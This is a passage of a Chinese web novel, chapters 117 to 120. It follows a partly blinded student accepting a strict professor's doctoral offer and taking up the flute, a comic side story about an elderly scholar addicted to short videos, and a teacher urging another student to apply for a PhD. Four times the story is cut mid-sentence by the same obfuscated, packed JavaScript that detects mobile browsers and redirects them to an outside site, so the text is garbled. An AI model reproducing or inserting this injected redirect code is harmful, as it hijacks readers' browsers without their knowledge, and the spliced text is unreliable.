“不,周先生,您误会我的意思了。阅冬他现在不愿意出门见人,我是希望他能够挂名在您这里,实际指导我可以自己来,这样您也不用太辛苦。” 周先生仍然没什么表情:“我从不让别人带我的学生,我也不接受挂名,你只有两个选择,要么回去,以后不要再来骚扰我,要么带他来见我。” 117.决定 招生公告上说,报名截止到四月上旬,仍旧四月底考试,时间比往年要紧。对秦昭阳来说,更紧。 接触周先生的事他还没跟柏阅冬说,不想给他希望又让他失望。但是现在周先生给了比较明确的态度,他就必须要争取。 当天晚上晚饭后,秦昭阳再次进了柏阅冬的房间。房间里很多零零碎碎的东西都收了起来,看上去干净整洁不少。 “阅冬,师父想跟你说一件事。” 柏阅冬知道这几天师父都在外面跑,也预感到师父说的事跟这个有关:“师父要说什么?” “如果现在有一个机会让你读博,你愿不愿意留下来?” 柏阅冬眨了眨眼睛,好像没听明白。 “阅冬,别怕,你看着师父,告诉师父,你愿不愿意?” 柏阅冬一对上师父的目光便立刻移开了,师父的眼神太热烈,太焦灼,几乎把他烫着了。 他垂下头,没有说话。 还是很想留下来的,可是,也真的承受不起再一次的失望和挫折了。 秦昭阳捧起他的脸,让他抬起头:“阅冬,你听师父说,你记不记得周懋恭老先生?咱们在词学论坛上见过他,后来童院长一直跟你说他很喜欢你,还写信来问你有没有新文章。他到咱们学校来了……” 说到这,秦昭阳看见小孩子的左眼明显亮了起来。 “他好像愿意收你,但是,他不接受挂名,也不允许我来带你,他要你去见他。” 那只明亮的左眼又暗了下去。 小孩子已经很久很久没有出过门了,这一年多甚至没见过几个人,现在要求他去见一个陌生的老先生,而且对方明显那样强势,实在有些为难他。 “学校已经发招生公告了,如果你愿意去见他,也许就能确定下来了。”秦昭阳又期待又担心,放轻了声音,问,“阅冬,你愿意吗?” 秦昭阳迟疑,柏阅冬只会更迟疑,始终没有给一个明确的回答。 秦昭阳没有逼迫小孩,只道:“你先想想,你如果愿意,师父就陪你去见他,你要是不愿意,就算了。”说完,揉了揉小孩的头发就要走。 “师父,”秦昭阳在快要走出房门的时候被叫住了,柏阅冬抬头看着他,“这几天,您是忙着去找周先生吗?” 秦昭阳笑了笑:“哪有?我不是还得上课吗?还有很多别的事情,不全是去找他。” 柏阅冬点了点头,目送师父出了房间,随后缓缓看向秦嘉辰的照片,道:“你看,你爸老是这样,口是心非。” 也许是真的很想留下来读博,也许是不忍心辜负师父一片苦心,柏阅冬竟在第二天答应了去见周先生,秦昭阳喜出望外,连忙去找周先生约时间。正好晚上双方都有空,柏阅冬也比较能接受在晚上出门,就定下了在周先生那里见面。 即使是晚上,柏阅冬仍旧戴上了墨镜,又拨了拨额前的头发作遮挡。秦昭阳看着,心想简直欲盖弥彰,这下谁都要对你的眼睛感兴趣了,可是这些话也没有说出来。 柏阅冬有点害怕出门,秦昭阳只好一直走在他身边,攀着他的肩膀,不断提醒他小心脚下,又安抚着他的情绪:“没事的,就一点点路,就在那栋楼,几分钟就到了,路上没有什么人的,小心,还有一个台阶,成,走吧。” 柏阅冬始终微微低着头,只在师父提醒他看路的时候会抬头看一眼,好在正如师父所说,路上并没有什么人,即使有人,也隔着老远,这一趟对他来说,还是很安全的。 这一次到周先生家里,周先生已经有椅子让他们坐了。那是他的餐椅,奶白色的海绵垫椅子,非常现代化的风格。秦昭阳带着小孩跟周先生问了好,安置小孩坐下,自己才坐了。 “到我这里就不用戴墨镜了吧?” 柏阅冬透过墨镜看见那位清癯的老头,跟自己印象中不差什么,但到底没有深入交流过,不知道究竟是个什么样的人,忐忑地摘了墨镜。 墨镜虽然摘了,但额前的头发仍旧遮着右眼。周先生打量了他几眼,突然起身走到他面前,伸出了手。秦昭阳一惊,立刻上前拦:“周先生……” 周先生只一眼便定住了他,随后沉默着伸手撩起了柏阅冬额前的头发。 秦昭阳屏住了呼吸。 柏阅冬受惊似的,仰头看着周先生,却在一秒后低下了头。 周先生也屏住了呼吸。 “你没有盲态?!” 柏阅冬没有回答,仍旧低着头。 “你在刻意地训练自己?!” 柏阅冬迟疑着点了点头。 聪明的小孩很多,但坚韧的小孩很少。 眼前的学生还是一副稚气模样,但心志之坚强,非常人所能想象。他虽不愿意出门见人,甚至留着额前的头发作遮挡,却悄悄地练习了自己的神态动作,以求和正常人一致,必定是时时做好了要站到人前的准备。 但是他还需要有人推一把。 周先生缓缓放下他的头发,恢复了往常的平淡语气:“我给你两次机会。第一次是现在,你决定要读我的博士,就回去把头发剪了,搬进来,我会给你安排好。第二次是九月之前,你住进来之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303475|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后如果接受不了,可以反悔,如何?” 柏阅冬看着他,颇有些为难神色。秦昭阳心疼地揽着小孩,问:“他一直都不剪这里的头发的,可以不剪吗?” “这是你入我门下的条件,回去想吧,不用急着回答我。” 周先生干脆地送了客。 也许是担心秦昭阳轻易地下了错误的决定,也许是为着周先生的工作顺利着想,第二天童院长亲自上了秦家的门,耐着性子劝了好半天。 “周老这个人,你这几天也接触过几回了,你放心把阅冬送过去?”童院长无奈地叹息,“我是知道周老喜欢阅冬,以前也开玩笑,说他来我们这工作,就让他带着阅冬,可那时候阅冬什么情况现在又是什么情况?周老那么严格的人,他的要求,阅冬一只眼睛,做得到?” 秦昭阳自从昨晚从周先生那里回来,心情一直郁闷:“我也实在没有别的办法了,再不定下来,阅冬就要走了。” “那你们昨晚也去了,他怎么说?阅冬受得了?” 秦昭阳摇摇头:“一直在房里想呢,周老让他把头发剪了,不许他遮着眼睛,他可能……很难……” “那不是?昭阳,说到底,你让阅冬读博,是为了他好,你就不怕送到周老那里,出点什么事?”童院长一声接一声叹气,“要是阅冬没受伤,我是第一个支持他跟着周老读博的,他那么灵的小孩,什么做不到?也就是周老,别人还指导不了他呢!可是现在……” 可也并不是每个人都拦着的,柏阅冬的师母就很支持他去,见秦昭阳在犹豫,不解道:“终于有人要接手了,你还不赶紧送出去啊?想什么?” “什么送出去?”秦昭阳本就心情不好,听妻子这么说,更加烦躁。 “那怎么的呢?你真就一辈子养着他?下半辈子都搭在他身上天天想着他有没有读博?省省吧老秦,你都快家不成家了,留这个小孩在家里,你跟辰辰打过几次电话?咱们家来过几次客人?这一年多,你有一天休息过没有?我喊你去帮我买把青菜你都说没空!老秦,你不欠他的,照顾他一年多仁至义尽了!再说了,现在是让他自生自灭吗?不是啊!这不是让他去读博吗?这不就是你梦寐以求的吗?多好!皆大欢喜!” “哎呀,你吵吵什么?小声点,阅冬听见了都!” 柏阅冬在房里呆了一天,也想了一天,所有的犹豫都在师母的话里溃不成军。 师母说的是对的,他不能让师父一辈子都搭在自己身上。 他站在书桌边,伸手擦了擦秦嘉辰的照片:“辰辰,我要走了。” 118.沉迷短视频的纪老先生 一个平行时空的小番外,把文中的时代直接挪到了现在,看个开心。 —————————— 纪老先生来参加学术活动,除了两三次必要的应酬,剩下的时间纪慎都让师门里的小孩来陪着老先生,既是礼数,也是刷个脸熟。 不过一众孩子里,纪老先生还是最喜欢庄遂平,总是把他带在身边。一块吃饭的时候,纪慎坐得远远的,只有庄遂平每次都雷打不动地紧挨师爷坐着。 这天中午也是一大群孩子陪纪老先生吃饭,老先生精神不大好,不知怎么的说到自己一整晚都没怎么睡,到早上六点才迷迷糊糊睡了一会,众人紧张起来,纷纷问师爷怎么了。 纪老先生不想让大家担心,摆摆手说:“也没有什么,就是看视频看到两点多,后来就睡不着了。” 大家都笑,说师爷好潮流,竟然还会刷视频。郑旭最大胆,说:“我经常看见师爷点赞视频。” 纪老先生虽然很爱刷视频,但是对这些操作却不大精通,听了这话,很疑惑:“你怎么能看见我点赞呢?” “就是在这里啊?”郑旭举着自己的手机给师爷看,“您点赞了,这里就会出现您的名字。” “哦,那我也经常看见你点赞啊!还有沅沅啊!”纪老先生有点不服气,想竭力证明刷视频是一件很正常的事,拿起自己的手机,慢悠悠地划拉几下,眯着眼睛,用手肘碰碰庄遂平,“遂平,你来看看,这里,是不是这里?那你看,现在是谁点赞了?严煦和……” 孩子们又大笑起来,没想到这些老先生一个个的也逃不过短视频的魔爪。 庄遂平有点恼:“师爷!别一天到晚刷这么多,还觉都不睡了!” 纪老先生很不愿意小孩子不高兴,忙道:“哎呀,我戒不掉呀!忍不住!” “可以关的,师爷,关掉视频号!”郑旭在一旁撺掇。没想到,纪老先生像是为了哄庄遂平开心似的,把手机往他跟前递了递:“对,你帮师爷关掉!” 庄遂平狐疑地接过师爷的手机,还挪远了一点,生怕师爷看见他怎么操作,又偷偷打开似的。结果在关视频号的时候发现师爷的朋友圈也是关闭的:“师爷,朋友圈要不要打开啊?” “不要不要!朋友圈人太多了,不看不看!” “哦。”庄遂平处理完,把手机还了回去,“那师爷您不看朋友圈,上次怎么知道我写论文缺材料的事?” 当时庄遂平发了一条朋友圈吐槽,第二天师爷就把他缺的材料拍照发给他了,解了他的燃眉之急。 “师爷从你那个头像点进去看。”纪老先生眉毛一扬,好像在说师爷很聪明吧。 纪慎在桌子那头不屑地笑了一声:“那怎么不给他点个赞啊?” 纪老先生的脸立刻拉了下来:“你怎么知道我没点赞?他每一条朋友圈你都盯着看啊?” 学生们一脸吃到大瓜的表情,纷纷看向老师,纪慎翻了个白眼,当作没听到。庄遂平微微红了脸,借着给师爷夹菜,把话题岔过去了:“师爷,快吃饭吧,下午还有讲座呢!” 没想到这件事还有后续。老先生在京最后一天,纪慎带着孩子们给师爷饯行。饭桌上有人悄悄刷了一会手机,竟然发现纪老先生在一个小时前在朋友圈转了三个视频,于是截图,发到师门群里,问:这是咋回事?师爷又刷上了? 几个离老师和师爷比较远的小孩看着手机偷笑,一个稍微活泼点的师妹艾特了庄遂平:师兄,说好的关掉了呢? ——师爷不会为了刷上视频,特地学会了怎么打开吧? ——也不是不可能。 ——让我看看师爷平时都在刷什么。 离不开手机的现代人,每隔几分钟就要看一看这块屏幕。趁着师爷扭头和纪沅说话的当儿,庄遂平也点亮了手机,看见师门群里的讨论,大惊失色,还点进朋友圈确认了一下,果然是师爷转的视频。 ——一首XXX,唱出几代人的眼泪! ——老屋拆迁,儿时回忆一去不返! ——亲子相处,最应该注意的六个细节! “师爷!”庄遂平兴师问罪似的吼了一声,把一桌人都震住了。眼看着师爷无辜又茫然地转过来,庄遂平一肚子气不知道该往哪里撒,“您又刷视频了?” “啊?你怎么知道?”纪老先生大惊失色,他又被发现了? “您,您转到朋友圈了呀!” “是吗?我没有转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304834|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!” 庄遂平不得不举起手机,把罪证给他看,纪老先生越看越迷糊:“我怎么转的呀?哎,删掉吧,这怎么不能删掉啊?” “这是我的手机啊师爷!” “哦哦,那我拿我的删,”纪老先生慢吞吞地划拉自己的手机来,“是这里吧,哎哟,怎么这么多人点赞了?看,你们童院还是第一个点赞的,平时肯定也没少刷朋友圈。” 庄遂平快要无语死了:“师爷,您刷就刷,别、别这么大张旗鼓的呀!” “好好好,”纪老先生拍着小孩的手,“知道了知道了,下次不转了,那别人怎么才能不知道我在刷视频啊?” “您、您就别点赞别转发呀!” “行行行,知道了。” 庄遂平真是气死了,都一把年纪了,路都快看不清了还想着刷视频! “也不许刷通宵!” “知道了,别气嘛!” “一天不许超过两个小时。” “我有时候随便刷刷好几个小时就过去了。”纪老先生还挺委屈,看着手机,很舍不得那个视频号,目光一移,看见了下面的“直播”,只是不敢问庄遂平,转而凑到孙子那边,“沅沅,这个直播是什么啊?” “天哪,师爷不会要开始刷直播了吧?” “直播更恐怖。” “等会就给主播刷几个火箭。” “哈哈哈哈哈……” 纪沅嘴里叼一个螃蟹钳,含糊不清道:“爷爷,刷刷视频算了,直播没什么好看的!” “哦,那好吧,”纪老先生还有点遗憾,不过一转过来,就有点像小孩子讨赏似的,冲庄遂平道,“我不看直播。” “您不是很忙吗?哪里来的时间刷视频啊?”庄遂平都无语了。 “忙着刷视频呗,这都不懂?”纪沅接话,惹得大家哄堂大笑。 “不说了不说了,”纪老先生真怕庄遂平生气了,哄道,“你暑假来陪师爷住,师爷把视频戒了,真的。” 庄遂平“哼”了一声,明显不大相信,不过当着众人的面,也不好太摆架子,只好道:“您说的啊,我暑假去监督您。” “好好好,你来,师爷最喜欢你来。” 119.笛子 “老师,我回来啦!”刘巍思风风火火地冲进家里,浑身上下都热烘烘的,着急忙慌地找水喝。严先生正在厨房洗菜,慢悠悠问:“玩了一天,好玩吗?” 学院组织硕士博士生打排球,刘巍思也去了,玩的时候可起劲,可回到家又觉得不过瘾:“要是阅冬和遂平也去就好了。他们俩现在一个比一个躲得死,都没人陪我玩了!” 严先生笑了笑,斥道:“就惦记玩儿!多大个人了,我可跟你说,好好复习啊,博士要考试的。” 刘巍思拿一个搪瓷杯,刚想喝水,又放下了:“不是说好了,有一个免试名额的吗?” 是这么说,原本按照他们的猜想,刘巍思是足够优秀获得免试的,但是半路杀出了个程咬金。 严先生也有点无奈:“周先生要去了。童院长好不容易把他挖回来,什么都迁就他。” 刘巍思扁扁嘴,很不喜欢这样:“一来就要免试名额,他有学生了吗?他不会还是带着什么自己的学生回来的吧?” 严先生摇摇头,淡淡道:“是冬冬。冬冬不能出来考试。” “啊?阅冬跟他读博吗?什么时候的事啊?” “我也不确定什么时候,学院今天打电话来说,没有免试名额了,报我的博士只能考试,估计是这两天吧。” 到嘴的鸭子飞了,刘巍思自然是不大欢喜的,可一想到阅冬,又只能叹息,给他就给他吧。 “老师,我都没有复习,您给我漏个题吧!”刘巍思冲进厨房蹭着老师,跟个小孩似的。 严先生笑出了声:“找你纪老师去!他组的题!” “会不会很难啊?” “就两道题,你放开了写。” 博士考试毕竟不是高考,不会考察那些固定知识点,而是以写小论文的形式考查学生的逻辑思维能力、语言表达能力和知识系统性,对刘巍思来说不是难事。 但刘巍思毕竟没考过,心里没底:“老师,我要是考不过别人,怎么办?就剩不到一个月了。” 严先生扭头看着他,给了他明确的回复:“打屁股!” 刘巍思吐吐舌头,跑出去了。 柏阅冬按照要求剪掉了额前的头发,露出受伤的右眼,搬进周先生还没有装修好的房子里,占据了一个次卧。这始终让他感到不安——那样一个德高望重学识渊博的老先生,为什么会愿意让一个陌生的、还瞎了一只眼的学生来同住? 而且此前周先生表现出来的强硬态度,更加重了他的忐忑。 屋子里乱糟糟的,周先生国外的行李不断寄回来,送家具、装修的工人络绎不绝。柏阅冬不愿见人,除了吃饭上厕所,基本都躲在房间里。房间关得严严实实,里头一片漆黑,他看不见别人,别人也看不见他。 这样的环境,让他觉得安全。 但没有其他人在的时候,他还是会出来,解决一下最重要的问题。 “老师,我要,做什么吗?” 乱七八糟的行李和家具,看上去需要有人来整理。 周先生安之若素,淡淡道:“你不需要做这些,想找事情做的话,学一门乐器吧,中式的。” 和那天晚上的强势果决不同,此时的老先生神情淡然而悲悯,语气平淡没有起伏。 柏阅冬点点头,表示知道了,至于具体学什么,却没有头绪。 周先生又道:“笛子、萧、古筝、古琴、琵琶……” 柏阅冬知道周先生在为他列选项,情绪越发低沉,敷衍道:“就笛子吧。” “好。” 后来柏阅冬才知道,这个“好”字简直是周先生的口头禅,他什么都说好,也就是这个字,一次又一次抚平了他的伤痛。 第二天早上出来吃早饭时,柏阅冬发现客厅已经布置好了。日式的榻榻米,中间放着棕色的矮木茶几,价格不菲的茶具静静端坐,连接阳台的一侧有一个小露台用来放杂物,不过现在还什么都没有放,干干净净的模样。 柏阅冬没有说话,拉开餐椅坐下,不言不语地喝他面前的牛奶。 周先生没有要求他的礼数,同样沉默着分好早上刚做的三明治,将白色瓷盘往他那边推了推。 “吃得惯吗?” “嗯,我不挑食。” 很简单的对话,过了就没有了。柏阅冬吃完,起身要回房,周先生突然道:“等会你出来,我放东西在客厅给你。” “知道了。” 连谢谢也没有,柏阅冬回到了他的黑暗洞穴。 柏阅冬是在一个多小时以后出来上厕所的,彼时似乎有几个工人送了个大件家具进周先生的主卧,里头闹哄哄的,浑浊的话音和冲天的嗓门震得柏阅冬耳朵生疼,周先生温和平静的语调却慢悠悠地传过来。 “好,就这样。” 柏阅冬上了厕所,在客厅小露台上看到一个木盒子,匆匆拿了就进房去了。 他不想让出来的工人撞见。 为了知道周先生给他什么东西,灯是一定要开的。白炽光从头顶射开时,柏阅冬左眼被刺得难受,右眼眼皮上则晃着一闪一闪的光斑,但什么也看不见。 普通的木盒子,柏阅冬不抱期望,打开来,只见里面躺着一支深红色的竹笛和一本自学笛子的入门书。 柏阅冬拿起竹笛,从上到下抚摸着那些圆孔,又学着人家吹笛子的样子放在唇边,手指上下跳动着,一时也有些新鲜。 在众多乐器中,笛子入门算简单的。柏阅冬翻开书,按照书上的教程小心翼翼地在第二个圆孔上贴上笛膜,又学会了按笛孔的手势,放在唇边,用力—— 噗—— 发不出声吗?是笛子的问题?柏阅冬检查了笛子,看不出问题,又去翻书,果然,书上写了新手吹不出声音的原因,要么是笛膜没贴好,要么是气息不足,要么是没有掌握技巧。 下面给了建议,可以先用一个窄口的瓶子练习,能在瓶子中吹出气息较足的“呜呜”声时,就可以吹笛子了。 柏阅冬环视房间一圈,并没有什么窄口瓶。 午饭是周先生打电话让附近的饭店送过来的,几个清淡的炒菜,对他和柏阅冬来说都是很好的选择。柏阅冬听到外面没有动静了才从房间里出来,见周先生正往餐桌上摆菜,也没有什么要帮忙的自觉,只默默拉了椅子坐下。 周先生用开瓶器开了冰冰凉凉的汽水,插上吸管递过去。 柏阅冬接过,吸了两口,是橘子味的汽水,酸酸甜甜的,很开胃。 他放下瓶子,正要吃饭,脑子里有根弦动了一下,窄口瓶子。 柏阅冬看向汽水瓶,又看看刚坐下的周先生,道:“我要这个瓶子。” 周先生专心夹菜,并不看他:“好。” 柏阅冬吃了饭,喝光汽水,去洗手池将汽水瓶里里外外冲了几遍,又用纸巾擦干,拿回房里去了。 周先生的装修还在继续,书房是典型的中式风格,深色的木书柜,宽大的木书桌,摆放上各式各样的山水人物摆件,细腻而精巧。送家具的工人累得汗流浃背,并没有什么心思欣赏典雅的书房装饰,匆匆抓起脖子上搭着的毛巾擦了汗,准备收钱走人。 “稍等。”周先生转身进卧室去取钱。 三个膀大腰圆的工人站在书房和次卧中间的过道等待,还没等到老先生出来,就先听到次卧传出来的“呜呜”声,不像人声,像一阵风吹进窄洞里,配合着紧闭的红棕色房门,其中一个工人不由得打了一个冷颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310658|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周先生不紧不慢地出来,低头数钱,此时房中又传出那“呜呜”的幽鸣,工人们面面相觑,不约而同地看看老先生,又看看那扇紧闭的房门。 周先生将钱递给他们,道:“家里小孩在学笛子。” 工人们长长地舒出一口气,接了钱,却还是有点脊背发冷,赶紧溜了。 周先生看着他们离去,抬手敲敲次卧房门,过了一会,才等到柏阅冬打开一道缝隙。 “今天没有人了,出来吧,你屋里闷,等会吹缺氧了。” 柏阅冬不自觉地握紧了手中的汽水瓶子,抿抿唇道:“知道了。” 其实出来也不一定是好的选择,柏阅冬几乎找不到地方吹他的汽水瓶子,坐在餐椅上吹,太奇怪了;坐在客厅的蒲团上吹,可是周先生就在那里泡茶,他不想面对周先生;难不成要在厨房里吹?柏阅冬不自在地换了几个位置,正决定还是回房去,周先生却冷不丁开口了:“阳台没有人。” 柏阅冬看向阳台,外围一圈摆满了各种新鲜绿植,都是这两日让人送来的,仍剩下很宽敞的地方足够他练习笛子,而且这个阳台面对的是学校外面的大马路,两侧没有也没有邻居能探头过来——压根不会有人知道这里有一个瞎眼的学生在吹笛子。 柏阅冬穿过日式客厅,准备迈出推拉门门槛时心中充满了犹豫。阳光这么好,他的右眼却再也看不见了,就算他学会了笛子,又能怎么样呢?他的眼睛不会再回来了,他消沉的一年多时光也不会明媚起来。 学这个破笛子,对他来说,并没有什么意义。 “老师,我不想学。” 小巧的茶壶嘴里汩汩倒出青绿透亮的茶水,热气丝丝缕缕地上升,氤氲了周先生的脸庞。柏阅冬看不清他的神情,只听到那一声平和的“好”。 于是他把汽水瓶子放在茶几上,再次回到了房间里。 过了一个多小时,柏阅冬又从房里出来了。彼时周先生已不在客厅,茶具也都清理干净,摆得整整齐齐,那个汽水瓶子还在茶几一角,一动不动,好像特地等着他一样。 柏阅冬拿起汽水瓶子,静静地迈出了那扇推拉门。 不多时,阳台上传来吹汽水瓶沉闷的“呜呜”声。 吸气呼气,很机械的动作,来来回回,但是柏阅冬很沉醉。在这样无聊的重复中,他什么也不用想,要不要读博士,就算读完博士哪个学校会要他这么一个瞎眼的人工作,就算找到工作他又该如何成家,还有秦嘉辰,她去法国是不是快一年了,是明年回来还是后年,还会不会和她再见面,见面了又会如何…… 所有的问题缠成一团乱麻,在这些时日死死堵住了柏阅冬的心。他知道这一团乱麻的线头在哪里,左不过是他眼睛瞎了这回事,可是这个线头已经缠死了,再没有办法解开了,后面的一切事情也就没有了解决的可能。 师父千辛万苦为他找一个博导,把他送到周先生这里来,徒劳而已。 柏阅冬在一次又一次吹瓶子的过程中用尽了自己的力气。他竭尽全力去吸气,把腹部撑得胀胀的,又绵长地吐气,让他的气息渐渐充盈在玻璃汽水瓶里,“呜呜”声从小到大,再慢慢消失至无声。他一遍遍听着那“呜呜”声,直到脑袋发昏,再也没办法去想那些事情。 筋疲力竭之时,他在夕阳下淌下了一行热泪。 柏阅冬抬手擦了泪,转身要回房,却看到刚走到客厅的周先生。他不知怎么的有些尴尬,把头朝右边低了下去——他知道周先生已经看过他的瞎眼,但仍然习惯性地要遮挡。 周先生对他吹瓶子的行为不置可否,只道:“书房布置好了,有一张桌子是给你的,你可以去练字。” “知道了。”柏阅冬应了一声,绕过周先生,回了次卧。 120.外套 还有一周,就要截止提交考博申请材料了。纪慎从学院招生办出来,依然失望地发现那堆材料里并没有庄遂平的名字。 借着那份书稿的名义,纪慎让庄遂平晚上到家里去一趟。庄遂平原本硬邦邦地回答有什么事可以在办公室说,可纪慎提到忆芸,他就心软了。 “她总是问起你。” 庄遂平一直对忆芸阿姨心怀愧疚,不提还好,一提他就狠不下心了。 为着去见忆芸,庄遂平特地穿上了上回纪慎拿来的衣服,一件咖色的灯芯绒外套,又提前去买了些水果,才上纪慎家去。 忆芸总是惦记小孩这事不假,知道他要来,早早就下班买菜回来做饭。一边炒菜还一边竖着耳朵听敲门声,时不时就往外头瞧一瞧,后来怕听不着声音,干脆把门大剌剌地敞开了。 庄遂平一来,就看见门大大方方地开着,有点奇怪,却还是敲了两下,站在门口喊:“忆芸阿姨!” “哎!进来!我做饭呢!”忆芸走不开,只能扯着嗓子,让自己的声音从爆炒声中传出去。 庄遂平走进来,自觉拉上了门,把水果放在餐桌上就往厨房走:“我来帮您。” “不用,快好了。”忆芸熄火,将最后一道小炒黄牛肉盛出来,招呼他出来吃饭,“快来,做了这个,你喜欢的。你和沅沅口味很像,我都不用多记什么。” “谢谢忆芸阿姨。” 说话间,纪慎从书房里走出来,看了一眼庄遂平,淡淡道:“来了。” 庄遂平的回应同样冷淡:“嗯。” 忆芸早已习惯他们师生俩的状态,也没有劝和的意思,径自摘了围裙,拉着孩子让他坐,却忽然被他身上的衣服吸引了。 庄遂平一只手还被忆芸抓着,知道她在打量自己,不敢动,正准备解释说自己特地穿来的,忆芸却说话了。 “你这个衣服,是你老师买的吧?” “什么?”庄遂平脱口而出,下意识就要否定,可忆芸又歪头看了一会说:“肯定是,他给沅沅买了一件一样的,沅沅嫌丑不肯穿,不过你穿着还挺好看。我看他是忘记沅沅长什么样了,照着你买的。” 庄遂平突然感到一阵被耍的不悦,扭头看去,纪慎正在客厅一副忙碌找书的样子。他死死盯了一阵,只看见纪慎低头摸了摸鼻子。 “好了,先来吃饭吧。” 在忆芸面前,庄遂平不可能翻脸发脾气,只是一顿饭吃得没滋没味。纪慎在餐桌上完全置身事外,一句话也不说,只顾吃饭。 庄遂平一肚子气没地方撒。 好不容易吃完饭,庄遂平跟完成任务似的问:“书稿的事,您还有什么要交代的吗?” 纪慎终于有了一点反应,却是长长地叹了一声气:“坐一会吧,我有事跟你说。” 庄遂平跟着他走到客厅,坐在熟悉的单人小沙发上,却敏锐地觉察出了不同——光线似乎比之前更亮了。 他不由得抬头扫视,竟发现客厅的几个书架腾出了空位,不是过去那样密密实实的了,怪不得连视野都开阔了。 纪慎没有解释这个,单刀直入:“遂平,读博的事,你要不要再想想?” 庄遂平顿时色变,怎么要说的事竟然是这个? “你有文章,成绩也不差,可以顺利毕业,申请考博的条件你都符合,考试不会很难的,就是写小论文一样的。” “对不起,我不想。” “遂平!”纪慎才说了一会就着急了,“不要说违心的话!难道你想就这样被安排去工作吗?现在全国才多少个博士?你读博出来一切都会不一样的,你可以留下来!” “我为什么要留下来?” “因为我想……” 因为老师想要你留下来。 纪慎猛然止住了最该出口的话,这样直白地表达,对他来说实在太为难。 庄遂平没有兴趣知道他想说什么,平静了一会,道:“我在这里,并没有什么美好的回忆。如果有,大概是跟柏阅和巍思一起学习的时候,但是现在,都不可能了。” “怎么不可能呢?阅冬已经确定免试读博了,昭阳为了让他读上这个博士,去年暑假就开始给他找导师,直到前段时间周懋恭回来。”想到人家师生,纪慎感慨万分,心酸的同时又带着点浅浅的羡慕,“老师觉得,再艰难,也难不过阅冬,阅冬都可以留下来,为什么你不可以?” 庄遂平苦涩地笑了笑,反问:“您是不是忘记了在您心里,阅冬才是聪明的学生,而我不是?聪明的学生当然可以轻易留下来。” 而我只是您口中什么都学不会的笨蛋。 纪慎想,如果他当时知道现在会是这样的结局,他一定会把自己的嘴缝上。 “遂平,老师以前说过一些不恰当的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313581|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不用放在心上的。”看着学生嘴角的冷笑,纪慎知道他定然在嘲讽自己,可到这时候,他也没办法再计较这些了,“遂平,就当是为了再和阅冬巍思他们一起学习,留下来吧。” 庄遂平不知道为什么,眼眶竟微微湿润了。 “应该很多人想考您的博士吧?其实您有很多选择,比我聪明比我优秀的人一抓一大把,像盛超那样的,阅冬那样的,巍思那样的……” “是,我有很多选择,可是遂平,他们都不是你。” “我也没有什么特别。” 不是的,遂平,你很特别,你是唯一一个会把老师的每一句话都放在心上的学生,但是…… 但是老师没有说过一句让你受到肯定的话。 “遂平,老师最后问你一次,你是真心不愿意读博吗?” 你是真心不愿意读博吗? 这个问题从纪慎嘴里出来,就一直萦绕在庄遂平脑海里,像藤蔓一样缠绕着他,跟着他回到空荡荡的宿舍。 他坐在床上,浑身都脱了力,没脱鞋没换衣服,直直倒了下去。眼睛一闭上,纪慎无奈的眼神就清清楚楚地浮现在脑子里,挥之不去。 来来回回把今晚的谈话想了很多遍,也没有想出一个结果,最后倒是看着身上的外套愣了愣。 庄遂平对这件外套的情绪倒是简单得多,就是嫌弃!他起身脱了衣服,跟阅冬床上那个袋子里的另一件塞到一起,差点就要丢进垃圾桶了,可还是下不了手。 就像他对关于纪慎的一切,嫌弃,不屑,可最后都会舍不得。 自己想不明白,就得找人帮忙。过了几天,庄遂平上严先生家去了。彼时刘巍思正在家里和严先生一起看书,开门见到庄遂平,惊喜之前溢于言表:“遂平!你怎么来了?我前两天还说起你呢!快来快来!” 严先生坐在客厅,手里还拿着书,见他进来,淡淡地笑:“遂平来坐。” 庄遂平没什么好客气的,到严先生身边坐了,开门见山:“严老师,我来,是想问您一个问题。” “你问。”严先生把书合上,放在茶几上。 “我能读博吗?” 严先生笑了笑,说:“后天就是提交申请材料的最后时间,你已经准备好了一切,对不对?” 庄遂平咬咬后槽牙:“是。” 